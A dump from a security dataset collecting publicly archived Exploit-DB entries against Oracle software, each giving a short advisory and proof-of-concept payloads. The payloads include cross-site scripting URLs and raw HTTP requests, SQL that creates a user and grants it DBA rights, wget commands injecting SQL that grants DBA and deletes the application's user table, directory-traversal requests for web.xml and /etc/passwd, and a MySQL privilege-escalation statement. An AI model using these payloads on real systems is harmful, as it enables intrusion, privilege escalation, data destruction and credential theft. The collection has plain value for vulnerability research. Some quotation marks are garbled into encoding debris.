deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34310
Description: Oracle Business Process Management 10.3.2 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2010-07-13
Author: Markot

Exploit:
source: https://www.securityfocus.com/bid/41617/info

Oracle Business Process Management is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This vulnerability affects the following supported versions:
5.7 MP3, 6.0 MP5, 10.3 MP2

http://www.example.com:8585/webconsole/faces/faces/faces/jsf/tips.jsp?context=<script>alert(document.cookie)</script>
http://www.example.com:8585/webconsole/faces/faces/faces/jsf/tips.jsp?context=<script>alert('CorelanTeam')</script>
Exploit-DB #24567
Description: Oracle Database Server 8.1.7/9.0.x - ctxsys.driload Access Validation
Type: remote
Platform: multiple
Date: 2004-09-03
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/11099/info

Oracle Database Server is prone to an access validation vulnerability that may permit unprivileged users to execute commands as the DBA. This could compromise the database.

SQL> exec ctxsys.driload.validate_stmt
('create user hacker identified by hacker');
SQL> exec ctxsys.driload.validate_stmt('grant dba, connect to hacker');
Exploit-DB #33399
Description: Oracle E-Business Suite 11i - Multiple Remote Vulnerabilities
Type: remote
Platform: multiple
Date: 2009-12-14
Author: Hacktics

Exploit:
source: https://www.securityfocus.com/bid/37305/info

Oracle E-Business Suite is prone to multiple authentication-bypass and HTML-injection vulnerabilities.

Attackers could exploit these issues to steal cookie-based authentication credentials, perform unauthorized actions, or bypass certain security restrictions. Other attacks are also possible.

Some of these vulnerabilities may be documented in BID 33177 (Oracle January 2009 Critical Patch Update Multiple Vulnerabilities). Reportedly, the HTML-injection and some authentication-bypass vulnerabilities were addressed in the Oracle January 2009 Critical Patch Update. Full details are not currently available. We will update this BID as more information emerges.

Oracle E-Business Suite 10 and 11 are vulnerable; other versions may also be affected. 

Authentication bypass:

http://www.example.com:port/OA_HTML/OA.jsp
http://www.example.com:port/OA_HTML/RF.jsp
http://www.example.com:port/pls/[DADName]/oracleconfigure.customize?p_page_id=[page_id]
http://www.example.com:port/pls/[DADName]/icx_define_pages.DispPageDialog?p_mode=RENAME&p_page_id=[page_id]
http://www.example.com:8888/pls/TEST/oracleconfigure.customize?p_page_id=1

HTML injection:

http://www.example.com:port/pls/[DADName]/icx_define_pages.editpagelist
http://www.example.com:port/pls/[DADName]/oracleconfigure.customize?p_page_id=[page_id]
http://www.example.com:port/pls/[DADName]/icx_define_pages.DispPageDialog?p_mode=RENAME&p_page_id=[page_id]
http://www.example.com:port/pls/[DADName]/icx_define_pages.DispPageDialog?p_mode=CREATE

It is important to note that our testing has indicated that different versions have different mitigation levels of this vulnerability, requiring, in some situations, utilizing XSS evasion techniques to overcome certain input validation and sanitation mechanisms:

    * For earlier versions, injecting a simple <SCRIPT> suffices:

      <SCRIPT>alert(ï¿½XSS')<SCRIPT>

    * Some versions limit the permitted characters, and thus require the tester to inset Java-script without utilizing tags, by injecting a script into the text box as follows:

      ");alert('XSS');//

    * Later versions appear to also enforce server-side length restrictions on the vulnerable parameters. As a result, multiple separate injections are required to achieve script execution, such as:

      ");/*

      */alert/*

      */(/*

      */ï¿½XSS'/*

      */);//
Exploit-DB #33839
Description: Oracle E-Business Suite Financials 12 - 'jtfwcpnt.jsp' SQL Injection
Type: remote
Platform: multiple
Date: 2010-04-15
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/39510/info

Oracle E-Business Suite Financials is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Oracle E-Business Suite 12 is vulnerable; other versions may be affected. 

$ export TARGET=â?http://www.example.com:<port>/OA_HTMLâ?
$ wget -O - â??$TARGET/OA.jspâ? "$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20'grant%20dba%20to%20mom';%20end;â?
$ wget -O - â??$TARGET/OA.jspâ? "$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20'delete%20from%20apps.fnd_user';%20commit;end;â?
Exploit-DB #26013
Description: Oracle Forms 6i/9i/4.5.10/5.0/6.0.8/10g Services - Unauthorized Form Execution
Type: remote
Platform: multiple
Date: 2005-07-19
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/14319/info

Oracle Forms Services is susceptible to an unauthorized form execution vulnerability.

Attackers may exploit this vulnerability to execute arbitrary commands with the privileges of the Oracle account under which the server is executing.

It should be noted that this issue may be remotely exploited if an attacker has means to write files to the serving computer (WebDAV, FTP, CIFS, etc.) without local access. 

http://www.example.com:7779/forms90/f90servlet?form=/public/johndoe/hacker.fmx
http://www.example.com:7779/forms90/f90servlet?module=/tmp/hacker.fmx
Exploit-DB #38802
Description: Oracle GlassFish Server 2.1.1/3.0.1 - Multiple Subcomponent Resource Identifier Traversal Arbitrary File Access
Type: remote
Platform: multiple
Date: 2013-10-15
Author: Alex Kouzemtchenko

Exploit:
source: https://www.securityfocus.com/bid/63052/info

Oracle JavaServer Faces is prone to multiple directory-traversal vulnerabilities.

Exploiting these issues may allow an attacker to obtain sensitive information that could aid in further attacks.

This vulnerability affects the following products and versions:

WebLogic Server 10.3.6.0, 12.1.1.0
GlassFish Server 2.1.1, 3.0.1, 3.1.2
JDeveloper 11.1.2.3.0, 11.1.2.4.0, 12.1.2.0.0 

http://www.example.com/someApp/javax.faces.resource.../WEB-INF/web.xml.jsf
http://www.example.com/someApp/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..
Exploit-DB #26329
Description: Oracle HTML DB 1.5/1.6 - 'f?p=' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2005-10-07
Author: Red-Database-Security

Exploit:
source: https://www.securityfocus.com/bid/15031/info

Oracle HTML DB is prone to cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site.

An attacker can leverage these issues to execute SQL statements in the context of an affected user as well.

These issues was originally described and addressed in Oracle Critical Patch Update - April 2005, BID 13139 (Oracle Multiple Vulnerabilities). Due to the availability of more information, these issues are being assigned a separate BID. 

http://www.example.com/pls/otn/f?p=4500:alert(document.cookie);59:[PII_REDACTED]547916206
Exploit-DB #26330
Description: Oracle HTML DB 1.5/1.6 - 'wwv_flow.accept?p_t02' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2005-10-07
Author: Red-Database-Security

Exploit:
source: https://www.securityfocus.com/bid/15031/info
 
Oracle HTML DB is prone to cross-site scripting vulnerabilities.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site.
 
An attacker can leverage these issues to execute SQL statements in the context of an affected user as well.
 
These issues was originally described and addressed in Oracle Critical Patch Update - April 2005, BID 13139 (Oracle Multiple Vulnerabilities). Due to the availability of more information, these issues are being assigned a separate BID. 

http://www.example.com/pls/otn/wwv_flow.accept?p_flow_id=4500&p_flow_step_id=3&p_instance=[PII_REDACTED]75032284&p_page_submission_id=3334304&p_request=RUN&p_arg_names=[PII_REDACTED]&p_t01=KORNBRUST&p_arg_names=[PII_REDACTED]05&p_t02=select sysdate||'alert("'||sysdate||'");' from
dual%3B&p_arg_names=[PII_REDACTED]7561018&p_t03=&p_arg_names=[PII_REDACTED]3860037&p_t04=&p_arg_names=[PII_REDACTED]1599126&p_t05=&p_arg_names=[PII_REDACTED]5385648&p_t06=&p_arg_name
s=[PII_REDACTED]9253124&p_t07=&p_arg_names=[PII_REDACTED]3394012&p_t08=&p_arg_names=[PII_REDACTED]1022368&p_t09=&p_md5_checksum=
Exploit-DB #23593
Description: Oracle HTTP Server 8.1.7/9.0.1/9.2 - isqlplus Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2004-01-24
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9484/info

Oracle HTTP Server is reportedly prone to a cross-site scripting issue. This could permit a remote attacker to create a malicious link to the web server that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks. 

http://<host>/isqlplus?action=logon&username=sdfds%22%3e%3cscript%3ealert('XSS')%3c/script%3e\&[CREDENTIAL_REDACTED]('XSS')%3c/script%3e

http://<host>/isqlplus?action=<script>alert('XSS')</script>
Exploit-DB #29475
Description: Oracle January 2007 Security Update - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2007-01-16
Author: Esteban Martinez Fayo

Exploit:
source: https://www.securityfocus.com/bid/22083/info

Oracle has released a Critical Patch Update advisory for January 2007 to address these vulnerabilities for supported releases. Earlier unsupported releases are likely to be affected by these issues as well.

The issues identified by the vendor affect all security properties of the Oracle products and present local and remote threats. Various levels of authorization are needed to leverage some of the issues, but other issues do not require any authorization. The most severe of the vulnerabilities could possibly expose affected computers to complete compromise. 

http://www.example.com:1158/em/dynamicImage/emSDK/chart/EmChartBean?beanId=\..\..\..\..\..\..\..\..\..\..\..\..\test.txt
Exploit-DB #35638
Description: Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - '/jde/E1Menu.maf?jdeowpBackButtonProtect' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2011-04-19
Author: Juan Manuel Garcia

Exploit:
source: https://www.securityfocus.com/bid/47479/info

Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

http://XXX.XXX.XXX.XXX/jde/E1Menu.maf

Parameter: jdeowpBackButtonProtect



* The GET request has been set to: >'"><script>alert(20639)</script>

/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED&%3E%27%22%3E%3Cscript%3Ealert%2820639%29%3C%2Fscript%3E=123 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00002ZzkuqI4ibppzAAcyOOuBnh:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX
Exploit-DB #35639
Description: Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - '/jde/E1Menu_Menu.mafService?e1.namespace' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2011-04-19
Author: Juan Manuel Garcia

Exploit:
source: https://www.securityfocus.com/bid/47479/info
 
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 


http://XXX.XXX.XXX.XXX/jde/E1Menu_Menu.mafService

Parameter: e1.namespace



* The POST request has been set to: %2Balert%2835890%29%2B

 /jde/E1Menu_Menu.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_Menu&e1.namespace=%2Balert%2835890%29%2B HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000b7KChC3OjQct7TOz9U6NMhK:14p7umbnp; e1MenuState=100003759|

Content-Length: 12

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Content-Type: application/x-www-form-urlencoded

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED



nodeId=&a=lc
Exploit-DB #35640
Description: Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - '/jde/E1Menu_OCL.mafService?e1.namespace' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2011-04-19
Author: Juan Manuel Garcia

Exploit:
source: https://www.securityfocus.com/bid/47479/info
  
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

http://XXX.XXX.XXX.XXX/jde/E1Menu_OCL.mafService

Parameter: e1.namespace



* The GET request has been set to: %2Balert%2848981%29%2B



/jde/E1Menu_OCL.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_OCL&e1.namespace=%2Balert%2848981%29%2B&timestamp=[PII_REDACTED]77
HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000xXDQLJurffGMVi6Du_UnL0Z:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED
Exploit-DB #35642
Description: Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - '/jde/JASMafletMafBrowserClose.mafService?jdemafjasLinkTarget' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2011-04-19
Author: Juan Manuel Garcia

Exploit:
source: https://www.securityfocus.com/bid/47479/info
    
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

* http://XXX.XXX.XXX.XXX/jde/JASMafletMafBrowserClose.mafService

Parameter: jdemafjasLinkTarget



* The GET request has been set to: E1MENUMAIN_[PII_REDACTED]877903872"%2Balert%28222735%29%2B"



/jde/JASMafletMafBrowserClose.mafService?jdemafjasFrom=BrowserClose&e1.mode=view&jdeLoginAction=LOGOUT&e1.state=maximized&jdemafjasLinkTarget=E1MENUMAIN_[PII_REDACTED]877903872"%2Balert%28222735%29%2B"&RENDER_MAFLET=E1Menu&jdemafjasLauncher=PSFT_TE_V3_SW&e1.service=JASMafletMafBrowserClose&e1.namespace=
HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00003wyVho0_-Ma0fQp67cuqdCs:14p7ulc8o; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED
Exploit-DB #35641
Description: Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - '/jde/MafletClose.mafService?RENDER_MAFLET' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2011-04-19
Author: Juan Manuel Garcia

Exploit:
source: https://www.securityfocus.com/bid/47479/info
   
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

http://XXX.XXX.XXX.XXX/jde/MafletClose.mafService

Parameter: RENDER_MAFLET



* The GET request has been set to: E1Menu"%2Balert%2844218%29%2B"



/jde/MafletClose.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu"%2Balert%2844218%29%2B"&e1.service=MafletClose&e1.namespace= HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000FGUGWkc2Y9q-dO3GqshuPVQ:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED
Exploit-DB #34796
Description: Oracle MySQL < 5.1.50 - Privilege Escalation
Type: remote
Platform: multiple
Date: 2010-08-03
Author: Libing Song

Exploit:
source: https://www.securityfocus.com/bid/43677/info

MySQL is prone to a remote privilege-escalation vulnerability.

An attacker can exploit this issue to run arbitrary SQL statements with 'SUPER' privileges on the slave database system. This will allow the attacker to compromise the affected database system.

This issue affects versions prior to MySQL 5.1.50. 

UPDATE db1.tbl1 /*!514900 ,mysql.user */
SET db1.tbl1.col1=2 /*!514900 ,mysql.user.Super_priv='Y'
WHERE mysql.user.User='user1'*/;
Exploit-DB #29449
Description: Oracle ORADC - ActiveX Control Remote Code Execution
Type: remote
Platform: multiple
Date: 2007-01-12
Author: Umesh Wanve

Exploit:
source: https://www.securityfocus.com/bid/22026/info

Oracle ORADC ActiveX control is prone to a remote code-execution vulnerability.

Exploiting this issue allows remote attackers to execute arbitrary machine code in the context of applications using the affected ActiveX control and possibly to compromise affected computers.

<!--
// CLSID: {EC4CF635-D196-11CE-9027-02608C4BF3B5}
// Info: ORADC Control
// ProgID: ORADC.ORADCCtrl.1
// InprocServer32: C:\\Oracle\\Ora81\\bin\\oradc.ocx
--!>

<html>

<body>
<OBJECT id="test" WIDTH=445 HEIGHT=40
classid="clsid:EC4CF635-D196-11CE-9027-02608C4BF3B5" >
</OBJECT>

<script language="vbscript">


test.UpdateRecord()


</script>

</body>
</html>
Exploit-DB #29749
Description: Oracle Portal 10g - 'P_OldURL' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2007-03-16
Author: d3nx

Exploit:
source: https://www.securityfocus.com/bid/22999/info

Oracle Portal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/pls/portal/PORTAL.wwv_main.render_warning_screen?p_oldurl='<script>alert('inT')</script>&p_newurl='<script>alert('ellect')</script>
Exploit-DB #30256
Description: Oracle Rapid Install Web Server - Secondary Login Page Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2007-06-28
Author: Kaushal Desai

Exploit:
source: https://www.securityfocus.com/bid/24697/info

Oracle Rapid Install Web Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to inject HTML and script code into the browser of an unsuspecting victim. The attacker may then steal cookie-based authentication credentials and launch other attacks.

http://www.example.com:8004/pls/MSBEP004/<script>alert("XSS")</script>

http://www.example.com:8004/pls/<script>alert("XSS")</script>
Exploit-DB #26004
Description: Oracle Reports Server 10g 9.0.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2005-07-19
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/14313/info

Multiple remote cross-site scripting vulnerabilities affect Oracle Reports Server.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Oracle Reports Server 9.0.2 with patchset 2 is reported to be vulnerable. Other versions may be affected as well. 

http://www.example.com:7778/reports/rwservlet/showenv?server=reptest&debug=<script>aler
t(document.cookie);</script>

http://www.example.com:7778/reports/rwservlet/parsequery?server=myserver&test=<script>a
lert(document.cookie);</script>

http://www.example.com:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger@iasdb+destype=localFile+desformat=delimited+desname=FILE:+CELLWRAPPER=
*+delimiter=<script>alert(document.cookie);</script>

http://www.example.com:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger@iasdb+destype=localFile+desformat=delimited+desname=FILE:+CELLWRAPPER=
<script>alert(document.cookie);</script>
Exploit-DB #21627
Description: Oracle Reports Server 6.0.8/9.0.2 - Information Disclosure
Type: remote
Platform: multiple
Date: 2002-07-18
Author: skp

Exploit:
source: https://www.securityfocus.com/bid/5262/info

A problem with Reports Server could make it possible to gain sensitive information from the server.

Under some circumstances, Reports Server may yield sensitive information to unauthenticated remote users. This information may include the system path, software installed on the vulnerable system, and other information that may be used as points of entry.

http://some.site.com/cgi-bin/rwcgi60
http://some.site.com/cgi-bin/rwcgi60/showenv
Exploit-DB #26003
Description: Oracle Reports Server 6.0.8/9.0.x - Arbitrary File Disclosure
Type: remote
Platform: multiple
Date: 2005-07-19
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/14312/info

Oracle Reports Server may allow remote attackers to disclose parts of arbitrary files.

Reportedly, the server fails to restrict users from accessing parts of arbitrary files when handling specially crafted HTTP GET requests.

All versions of Oracle Reports Server are reported to be vulnerable to this issue. 

http://www.example.com:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger@iasdb+destype=file+MODE=CHARACTER+desformat=/etc/passwd